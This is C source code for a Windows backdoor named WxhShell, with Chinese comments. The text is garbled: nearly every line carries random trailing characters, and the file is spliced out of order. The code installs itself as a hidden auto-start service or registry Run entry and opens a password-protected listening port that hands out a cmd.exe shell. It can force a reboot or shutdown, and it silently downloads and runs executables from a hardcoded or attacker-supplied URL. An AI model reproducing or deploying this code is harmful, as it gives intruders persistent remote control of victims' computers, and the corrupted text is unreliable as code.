    } V^+:U>$w  
  // 关机 r![JPhei  
  case 'd': { n^02@Aw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s*~o%emw  
    if(Boot(SHUTDOWN)) DZ.trtK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yWtr,  
    else { p'k+0=  
    closesocket(wsh);  7~nCK  
    ExitThread(0); F5MPy[  
    } 9lJj/  
    break; -$t,}3  
    } am+mXb  
  // 获取shell ha! "BR  
  case 's': { /$,=>  
    CmdShell(wsh); \Egc5{   
    closesocket(wsh); ( v:ek_  
    ExitThread(0); !F#aodM1N  
    break; f94jMzH9z  
  } H<}eoU.  
  // 退出 S)@vl^3ec  
  case 'x': { >o#wP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'a^tL[rLP1  
    CloseIt(wsh); =Fy8rTdk6r  
    break; '2$!thm  
    } DF|s,J`98  
  // 离开 yWi0 tE{  
  case 'q': { :qTcxzV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (<ZkmIXN  
    closesocket(wsh); F(~_L.  
    WSACleanup(); ?lN8~Ze  
    exit(1); M2Fj)w2   
    break; )2Ru!l#  
        } YQdX>k  
  } $YY)g$  
  } m<"fRT!Y  
RLOQ>vYY  
  // 提示信息 e)dWa'2<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D8AIV K]  
} / &D$kxz  
  } \R\@t] >Y  
L2.`1Aag  
  return; k5;Vl0Ho  
} KI@    
xf"5<PTW</  
// shell模块句柄 6.h   
int CmdShell(SOCKET sock) 7Ljj#!`lUp  
{ =/JF-#n/MA  
STARTUPINFO si; _<RR`  
ZeroMemory(&si,sizeof(si)); =Z .V+4+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i(yAmo9h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FEZ"\|I|  
PROCESS_INFORMATION ProcessInfo; +VLe'|  
char cmdline[]="cmd"; x36#x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fCf#zV[  
  return 0; K}E7|gdG  
} h<' 5q&y  
1~5q:X  
// 自身启动模式 H4'DL'83  
int StartFromService(void) ''OInfd?  
{ =Cy>$/H64  
typedef struct tK|9qs<%  
{ 4!~ .6cp3  
  DWORD ExitStatus; Qj<{oZp&  
  DWORD PebBaseAddress; H]$=*(aje  
  DWORD AffinityMask;  +iH30v  
  DWORD BasePriority; `o8{qU,*]N  
  ULONG UniqueProcessId; =6Sj}/   
  ULONG InheritedFromUniqueProcessId; Wd` QpW  
}   PROCESS_BASIC_INFORMATION; c\)&yGE  
cP@F #!2  
PROCNTQSIP NtQueryInformationProcess; ]8m_*I!  
YP#AB]2\}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O(D5A?tv!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (ND5CKCR^  
r3H}*Wpf  
  HANDLE             hProcess; >PJtG]D  
  PROCESS_BASIC_INFORMATION pbi; {#1j"  
2'<=H76  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H/Ec^Lc+_  
  if(NULL == hInst ) return 0; 33<fN:J]f  
`!omzE*bk5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {nQ)4.e6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I51oG:6fR?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J(EaE2  
+eBMn(7Cgv  
  if (!NtQueryInformationProcess) return 0; A!ioji+{[  
{;iH Yr-zs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5&<d2EG6l'  
  if(!hProcess) return 0; 3cCK"kr  
@UpC{M--Wr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iL0jpa<}  
wAu[pWD'6;  
  CloseHandle(hProcess); xv$)u<Ve  
v dH+>l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jKj=#O  
if(hProcess==NULL) return 0; p`ADro*  
S?Bc~y  
HMODULE hMod; lP@)   
char procName[255]; (~ ]g,*+  
unsigned long cbNeeded; 5"kx}f2$  
)pjjW"C+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lHcZi  
WXLe,7y  
  CloseHandle(hProcess); &R'w-0k_  
,l$NJt   
if(strstr(procName,"services")) return 1; // 以服务启动 QOT)x4!)  
Ns.3s7&  
  return 0; // 注册表启动 ~IlF*Zz#}6  
} oI_oz0nHk  
-v;n"Zy1  
// 主模块 F<yy>Wf  
int StartWxhshell(LPSTR lpCmdLine) dU ,)TKQ  
{ $bZu^d,  
  SOCKET wsl; *|LbbRu  
BOOL val=TRUE; : F7k{~  
  int port=0; Mhe |eD#)  
  struct sockaddr_in door; (!ZQ  
I(OAEIz  
  if(wscfg.ws_autoins) Install(); QN_)3lm  
aJ :A%+1  
port=atoi(lpCmdLine); Xr?>uqY!M  
(]3ERPn#y  
if(port<=0) port=wscfg.ws_port; Hs"% S  
NqJ<!q)  
  WSADATA data; ptV4s=G2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X~v4"|a  
5c: '>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IjG5X[@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /~i.\^HX  
  door.sin_family = AF_INET; Gr5`1`8|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~@T+mHny  
  door.sin_port = htons(port); X0y?<G1( a  
[3j$ 4rP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ 8F \;  
closesocket(wsl); LkJ$aW/  
return 1; @72x`&|I?u  
} 6IEUJ-M Z  
ycgfZ 3K  
  if(listen(wsl,2) == INVALID_SOCKET) { L]k*QIn:h  
closesocket(wsl); 8To7c  
return 1; &sm @  
} owE<7TGPI?  
  Wxhshell(wsl); 29"mE;j  
  WSACleanup(); EHpu*P~W  
V~OUE]]Q  
return 0; O.*jR`l  
{ EA2   
} `nT?6gy  
2B HKS-J*  
// 以NT服务方式启动 W1xf2=z`)T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Sge  
{ .Qd}.EG  
DWORD   status = 0; 1^aykrnQ>  
  DWORD   specificError = 0xfffffff; ;"1/#CY773  
U r^YG4(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C/F@ ]_y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3YR* ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RK?jtb=&A  
  serviceStatus.dwWin32ExitCode     = 0; xN6?yr  
  serviceStatus.dwServiceSpecificExitCode = 0; It%T7 X#  
  serviceStatus.dwCheckPoint       = 0; o;3j:# 3 |  
  serviceStatus.dwWaitHint       = 0; -NAmu97V}  
fC_zX}3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #hIEEkCp +  
  if (hServiceStatusHandle==0) return; 5pO]vBT  
G9\EZ\x!  
status = GetLastError(); '.pgXsC:=?  
  if (status!=NO_ERROR) D899gGe  
{ 43KaL(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uu}'i\Q  
    serviceStatus.dwCheckPoint       = 0; 8{oZi]ob  
    serviceStatus.dwWaitHint       = 0; F4Rr26M  
    serviceStatus.dwWin32ExitCode     = status; _zdNLwE[  
    serviceStatus.dwServiceSpecificExitCode = specificError; S#,+Z7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F y b[{"  
    return; ^>-+@+( r  
  } qtO1hZ  
9*' &5F=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w{3ycR  
  serviceStatus.dwCheckPoint       = 0; u[)_^kIE(n  
  serviceStatus.dwWaitHint       = 0; W:WQaF`2x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jQ6Xr&}  
} >wA+[81[  
vruD U#  
// 处理NT服务事件,比如:启动、停止 '?5S"??  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +6 ho)YL  
{ U<Vy>gIC  
switch(fdwControl) =tq1ogE  
{ 6VC-KY  
case SERVICE_CONTROL_STOP: 4iwf\#  
  serviceStatus.dwWin32ExitCode = 0; v{r1E]rY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iecWa:('  
  serviceStatus.dwCheckPoint   = 0; )`^ /(YG  
  serviceStatus.dwWaitHint     = 0; byafb+x  
  { kL|\wci  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2SYKe$e  
  } EOhC6>ATh  
  return; [O\9 9>  
case SERVICE_CONTROL_PAUSE: "9w}dQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &I%IaNco  
  break; #00D?nC  
case SERVICE_CONTROL_CONTINUE: wZQ)jo7*g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )T9~8p.  
  break; Yr=8!iR$  
case SERVICE_CONTROL_INTERROGATE: sds}bo  
  break; 8&%Cy'TIz4  
}; JRXRi*@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Apmw6cc  
} h(nj,X+  
>zQOK-  
// 标准应用程序主函数 88+ =F XG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =5?.'XMk  
{ `%Q&</X  
44~hw:   
// 获取操作系统版本 zZ: xEc  
OsIsNt=GetOsVer(); w-ALCh8o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fwb5u!_,  
aZ6'|S;  
  // 从命令行安装 <6/= y1QC)  
  if(strpbrk(lpCmdLine,"iI")) Install(); FI$XSG  
g rspt}  
  // 下载执行文件 t{zBC?c R  
if(wscfg.ws_downexe) { *jE;9^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h48YDWwy  
  WinExec(wscfg.ws_filenam,SW_HIDE); ET.dI.R8  
} hCAZ{+`z  
KzNm^^#/$A  
if(!OsIsNt) { { D+Ym%n  
// 如果时win9x,隐藏进程并且设置为注册表启动 w.z<60%},0  
HideProc(); nM8[  
StartWxhshell(lpCmdLine); *GJ:+U&m[  
} b!^@PIX  
else ^&Q< tN 7  
  if(StartFromService()) q(Hip<6p  
  // 以服务方式启动 _w>uI57U  
  StartServiceCtrlDispatcher(DispatchTable); f}iU& 3S  
else >?I/;R.-  
  // 普通方式启动 FqZgdmwR  
  StartWxhshell(lpCmdLine); {n&Uf{  
L5f$TLw h;  
return 0; o/^1Wm=  
} <( EyXV  
|@wyC0k!  
@PX\{6&  
G?xJv`"9iC  
=========================================== KP{3iUqvO  
)M:)y  
;&S;%W>|  
9->q|E4  
y`S o&:1  
 to>  
" -ihiG_f  
.T8K-<R  
#include <stdio.h> N=~~EtX  
#include <string.h> 4MLH+/e  
#include <windows.h> Oaa"T8t  
#include <winsock2.h> (%'9CfPx  
#include <winsvc.h> .Y\EE;8%  
#include <urlmon.h> ?aWx(dVQ  
:o8MUXH$  
#pragma comment (lib, "Ws2_32.lib") '!Wvqs  
#pragma comment (lib, "urlmon.lib") }`_(<H  
2hq\n<  
#define MAX_USER   100 // 最大客户端连接数 cP rwW 6  
#define BUF_SOCK   200 // sock buffer tJ'iX>9I  
#define KEY_BUFF   255 // 输入 buffer snC/H G7  
FnE6?~xa  
#define REBOOT     0   // 重启 G3a7`CD  
#define SHUTDOWN   1   // 关机 wxdyF&U n  
+~35G:&:  
#define DEF_PORT   5000 // 监听端口 jatr/  
5k$vlC#[H  
#define REG_LEN     16   // 注册表键长度 WU)Ss`s \  
#define SVC_LEN     80   // NT服务名长度 gKi{Y1  
FFvCi@oT  
// 从dll定义API *x(Jq?5O7X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >2lwWXA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pj8azFZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g7n "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BC77<R!E)  
rQr!R$t/[  
// wxhshell配置信息 ,Eu?JH&}u  
struct WSCFG { eB]R3j{  
  int ws_port;         // 监听端口  rLv;Y  
  char ws_passstr[REG_LEN]; // 口令 Ia4)uV8  
  int ws_autoins;       // 安装标记, 1=yes 0=no #fDs[  
  char ws_regname[REG_LEN]; // 注册表键名 *C2R`gpBI  
  char ws_svcname[REG_LEN]; // 服务名 ea9oakF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DNP@A4~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G%{0i20_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '*T]fND4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LW:1/w&pv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #/70!+J_UF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fY W|p<Q0  
4XJiIa?  
}; Gquuy7[&  
$NG++N  
// default Wxhshell configuration E^CiOTN  
struct WSCFG wscfg={DEF_PORT, z]@6fM[  
    "xuhuanlingzhe", c$h9/H=~  
    1, h"W8N+e\  
    "Wxhshell", 5zB~4u  
    "Wxhshell", $kPHxD!"  
            "WxhShell Service", ^3~e/PKM  
    "Wrsky Windows CmdShell Service", ^?GmrHC)  
    "Please Input Your Password: ", n7! H:{L  
  1, FHg0E++?  
  "http://www.wrsky.com/wxhshell.exe", 6v732;^  
  "Wxhshell.exe" >: Wau  
    }; ^%<pJMgdF  
0XU}B\'<  
// 消息定义模块 n}nEcXb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uY#TEjGh]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;_+uSalt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {hdPhL  
char *msg_ws_ext="\n\rExit."; ~Xv=9@,h  
char *msg_ws_end="\n\rQuit."; `dW]4>`O  
char *msg_ws_boot="\n\rReboot..."; w0J|u'H  
char *msg_ws_poff="\n\rShutdown..."; \ |!\V  
char *msg_ws_down="\n\rSave to "; K$[$4 dX]  
U[\Vj_?(I  
char *msg_ws_err="\n\rErr!"; z5 m>H;P  
char *msg_ws_ok="\n\rOK!"; 2A:,;~UH  
wCKj7y[  
char ExeFile[MAX_PATH]; {/8Q)2*>0  
int nUser = 0; {eT.SO  
HANDLE handles[MAX_USER]; I 3$dVls}  
int OsIsNt; *?% k#S  
egR-w[{  
SERVICE_STATUS       serviceStatus; QlZ@ To  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ c%N/V \  
T.:+3:8|F  
// 函数声明 B80aw>M  
int Install(void); e %O0hE  
int Uninstall(void); zI;0&  
int DownloadFile(char *sURL, SOCKET wsh); WF2-$`x  
int Boot(int flag); ~r*P]*51x  
void HideProc(void); dcfe_EuT  
int GetOsVer(void); nsuX*C7  
int Wxhshell(SOCKET wsl); #"*e+.j[;  
void TalkWithClient(void *cs); L 3XB"A#  
int CmdShell(SOCKET sock); U5r}6D!)  
int StartFromService(void); c j$6  
int StartWxhshell(LPSTR lpCmdLine); }}{Yw  
; H0{CkH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ko\):DN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Av=3[kh"%  
:k=mzO<&  
// 数据结构和表定义 @{HrJ/4%:&  
SERVICE_TABLE_ENTRY DispatchTable[] = G4-z3e,crr  
{ ,xi({{L*  
{wscfg.ws_svcname, NTServiceMain}, AC- )BM';  
{NULL, NULL} ]0j9>s2|Z  
}; Z;DCI-Wg  
dJk9@u  
// 自我安装 Gh( A%x)  
int Install(void) t ?eH'*>  
{ @%ECj)u`O  
  char svExeFile[MAX_PATH]; f'Mop= .  
  HKEY key; YwDt.6(+,  
  strcpy(svExeFile,ExeFile); ^QX bJJ  
Dm0a.J v  
// 如果是win9x系统,修改注册表设为自启动 n6Z|Q@F  
if(!OsIsNt) { 8p^B hd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  H`QQG!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D-p.kA3MJ  
  RegCloseKey(key); a[!%L d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t0E51Ic@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A*yi"{FLi  
  RegCloseKey(key); ;{Ux_JEg  
  return 0; \IM4Z|NN"  
    } mEAXM 1J|  
  } @x&P9M0g  
} E,[xUz"  
else { J$ut_N):N  
O6s.<` \  
// 如果是NT以上系统,安装为系统服务 iJh!KEy~A5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sm{>rR  
if (schSCManager!=0) 5TKJWO.  
{ OjE` 1h\  
  SC_HANDLE schService = CreateService 3`.P'Fh(k  
  ( % ZU/x d  
  schSCManager, 2[yBD-":  
  wscfg.ws_svcname, Am4lEvb  
  wscfg.ws_svcdisp, 6sfwlT  
  SERVICE_ALL_ACCESS, olux6RP[B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }?8uH/+ZA  
  SERVICE_AUTO_START, Fj p.T;  
  SERVICE_ERROR_NORMAL, JCniN";r[  
  svExeFile, ed!>)Cb  
  NULL, V A^l+Z,d  
  NULL, pW\'Z Rj  
  NULL, )X+mV  
  NULL, ( )T[$.(  
  NULL G=9d&N  
  ); a:STQk V  
  if (schService!=0) SI:ifR&T  
  { 2][DZl  
  CloseServiceHandle(schService); &"Ux6mF-"  
  CloseServiceHandle(schSCManager); :;]Oc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,El!fgL  
  strcat(svExeFile,wscfg.ws_svcname); 2\D8.nQr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;t#]2<d*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !0VfbY9C  
  RegCloseKey(key); f:JlZ&  
  return 0; p<Z3tD;Z  
    } )u:Q) %$t  
  } #o`Ny4sq/  
  CloseServiceHandle(schSCManager); &dB-r&4;+  
} %q 3$|>  
} !RvRGRSyF  
lEjwgk {  
return 1; V >-b`e  
} ~l[r a  
uq3{h B#  
// 自我卸载 F"+o@9]  
int Uninstall(void) m` AK~O2  
{ 8T[ 6J{|C  
  HKEY key; YNdrWBf)  
uzOYVN$t  
if(!OsIsNt) { Dh| w^Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BHDML.r }M  
  RegDeleteValue(key,wscfg.ws_regname); 9=l.T/?sf  
  RegCloseKey(key); JAc_kl{4O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R[tC^]ai  
  RegDeleteValue(key,wscfg.ws_regname); PyC0Q\$%  
  RegCloseKey(key); (?)7)5H  
  return 0; \;5\9B"i  
  } }ET,ysa  
} fT\:V5-  
} )=pD%$iq  
else { } l 667N  
}=](p-]5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5f'DoT  
if (schSCManager!=0) t0&@h\K  
{ SuBeNA[&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IXLO>>`  
  if (schService!=0) +FG$x/\*0  
  { C]u',9,  
  if(DeleteService(schService)!=0) { 9' 1B/{  
  CloseServiceHandle(schService); )KSoq/  
  CloseServiceHandle(schSCManager); K+\nC)oG  
  return 0; AEirj /  
  } "d/s5sP|S  
  CloseServiceHandle(schService); =HDI \LD<  
  } q Dd~2"er  
  CloseServiceHandle(schSCManager); }Nj97 R  
} j1$8#/r;c  
} ,:n| ?7  
yY{kG2b,  
return 1; @r^!{  
} q}|U4MJm  
 %V G/  
// 从指定url下载文件 B0}~G(t(  
int DownloadFile(char *sURL, SOCKET wsh) `1` f*d v  
{ <Cpp?DW_  
  HRESULT hr; b}!3;:iD  
char seps[]= "/"; rM}0%J'  
char *token; ;#+0L$<t  
char *file; G#`\(NW  
char myURL[MAX_PATH]; _cH@I?B  
char myFILE[MAX_PATH]; b}9[s  
fG LG$b  
strcpy(myURL,sURL); @~ Dh'w2q  
  token=strtok(myURL,seps); c~,23wP1  
  while(token!=NULL) ]DG?R68DQ  
  { >Q E{O.Z  
    file=token; ^ZeJ[t&!#  
  token=strtok(NULL,seps); NLd``=&  
  } }-p[V$:S  
0 >Z ;Ni  
GetCurrentDirectory(MAX_PATH,myFILE); ] f>]n  
strcat(myFILE, "\\"); \{\MxXW  
strcat(myFILE, file); "@3@/I  
  send(wsh,myFILE,strlen(myFILE),0); 8ovM\9qT  
send(wsh,"...",3,0); XE3aXK'R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {QaNAR=)  
  if(hr==S_OK) P,pnga3Wu  
return 0; 4'pS*v  
else :PY tR  
return 1; .lG5=Th!  
PaB!,<A  
} o}Cq.[G4k  
+t)n;JHN  
// 系统电源模块 kYwb -;  
int Boot(int flag) 1$lh"fHU  
{ 1nhtM  
  HANDLE hToken; `s#Hq\C  
  TOKEN_PRIVILEGES tkp; m`? MV\^  
A1Y7;-D  
  if(OsIsNt) { <G8w[hs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0[A9b,MMVO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (P|~>k  
    tkp.PrivilegeCount = 1; 5r {;CKKz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H4-qB Z'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yd cK&{  
if(flag==REBOOT) { er.L7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {04"LAE  
  return 0; ygZ  #y L  
} eL D?jTi'  
else { O;Y:uHf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t=euE{c  
  return 0; K r`]_m  
} +V862R4,o  
  } `\| ssC8u  
  else { ov# 7 hxe  
if(flag==REBOOT) { qk(P>q8[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g+8hp@a  
  return 0; 1n*W2:,z  
} AN:@fZ  
else { Pi2|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;!@EixN-YH  
  return 0; =ziwxIo6  
} FE7)E.U  
} rEZ8eeB[3  
5 LP?Ij  
return 1; [e e%c Xo  
} cp Ear  
qAkx<u  
// win9x进程隐藏模块 O{z}8&oR:  
void HideProc(void) n";02?@F  
{ ,"}Rg1\4t  
*~$~yM/~3U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { >{B`e`$  
  if ( hKernel != NULL ) G28O%jD?  
  { 5 x2Ay=s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~q +[<xR\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :7N3N  
    FreeLibrary(hKernel); 8 (jUe  
  } 4B+9z^oQ  
CDy^UQb  
return; lt'I,Xt  
} Eu<1Bse;  
Mq%,lJA\  
// 获取操作系统版本 7YWNd^FI V  
int GetOsVer(void) HHk)ZfWRo  
{ 2i#Sn'1  
  OSVERSIONINFO winfo; ?|;yVew  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L}{`h  
  GetVersionEx(&winfo); }}{!u0N},V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6"j_iB  
  return 1; {.e=qQ%P5)  
  else Wk;5/  
  return 0; Pj#'}ru!  
} {y kYW%3s  
XV>JD/K2  
// 客户端句柄模块 YOyX[&oi  
int Wxhshell(SOCKET wsl) rPzQ8<  
{ sPAg)6&M  
  SOCKET wsh; s'P( ,!f  
  struct sockaddr_in client; bJr[I  
  DWORD myID; ug 7o>PX  
/x@RNdKv  
  while(nUser<MAX_USER) c2SC|s]  
{ ^W83ByP  
  int nSize=sizeof(client); G1T^a>tj4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q'apG)0I  
  if(wsh==INVALID_SOCKET) return 1; !v#xb3"/  
fg%&N2/(.B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y o0FUj  
if(handles[nUser]==0) .~lKBkS`!  
  closesocket(wsh); jLg@FDb~  
else u9-nt}hGYM  
  nUser++; 6&v? )o  
  } }`_@'4:t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0O!cN_l|  
iyx>q!P  
  return 0; o(A|)c4k  
} UnWW/]E  
a.F Al@Br  
// 关闭 socket )8gGv  
void CloseIt(SOCKET wsh) "T/>d%O1b  
{ lw%?z/HDf  
closesocket(wsh); 8am`6;O:!  
nUser--; e>'H IO  
ExitThread(0); 1nj(h g  
} `<\}FS`'  
beY=g7|  
// 客户端请求句柄 OqhD7 +  
void TalkWithClient(void *cs) 6V9doP]i  
{ &`|:L(+  
n ?[/ufl  
  SOCKET wsh=(SOCKET)cs; VUU]Pu &  
  char pwd[SVC_LEN]; \79X{mcd  
  char cmd[KEY_BUFF]; *2 "6fX[  
char chr[1]; rk2xKm^w  
int i,j; PrF}a<:n:  
D?jk$^p~m#  
  while (nUser < MAX_USER) { s)A<=)w/e  
k4J8O3E  
if(wscfg.ws_passstr) { 5R$G(Ap_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i y YJR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kz8:UG(  
  //ZeroMemory(pwd,KEY_BUFF); "kMzmo=Pv5  
      i=0; -php6$|  
  while(i<SVC_LEN) { Upl6:xYrG  
|rRO@18dA  
  // 设置超时 OY-w?'p?W  
  fd_set FdRead; 6+rlXmd  
  struct timeval TimeOut; .uo.N   
  FD_ZERO(&FdRead); C=Fzu&N}  
  FD_SET(wsh,&FdRead); !4@G3Ae22  
  TimeOut.tv_sec=8; #4LFG\s  
  TimeOut.tv_usec=0; ~Z/ ^c,[:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Y(]6$uS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AZ|yX  
,"-Rf<q/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G%p~m%zIK  
  pwd=chr[0]; ` D7C?M#j]  
  if(chr[0]==0xd || chr[0]==0xa) { w^k;D,h  
  pwd=0; Id'RL2Kq*&  
  break; T<yP* b2E  
  } Is<"OQ  
  i++; 1&=0Wg0ig  
    } ;.s l*q1A  
t,)N('m}=  
  // 如果是非法用户,关闭 socket VvbFp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MWk:sBCqr  
} ;#GoGb4AM  
NMO-u3<6.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w JwX[\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9ch#}/7B  
Z[!d*O%R_  
while(1) { Ey{%XR+*;  
- "*r  
  ZeroMemory(cmd,KEY_BUFF); B DY}*cX  
`[#x_<\t  
      // 自动支持客户端 telnet标准   v;#=e$%}MO  
  j=0; X#a`K]!B  
  while(j<KEY_BUFF) { 57{oh")  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %wV>0gQTf  
  cmd[j]=chr[0]; }H4=HDO  
  if(chr[0]==0xa || chr[0]==0xd) { 5y2? f  
  cmd[j]=0; aFiCZHohw  
  break; ylf[/='0K  
  } Sgb*tE)T  
  j++; U7mozHS,:9  
    } PHg48Y"Nd  
( <t_Pru  
  // 下载文件 9ILIEm:  
  if(strstr(cmd,"http://")) { 7DW]JK l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lor8@Qz  
  if(DownloadFile(cmd,wsh)) 3LR p2(A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Lw{XqT  
  else ~wnOV#v  
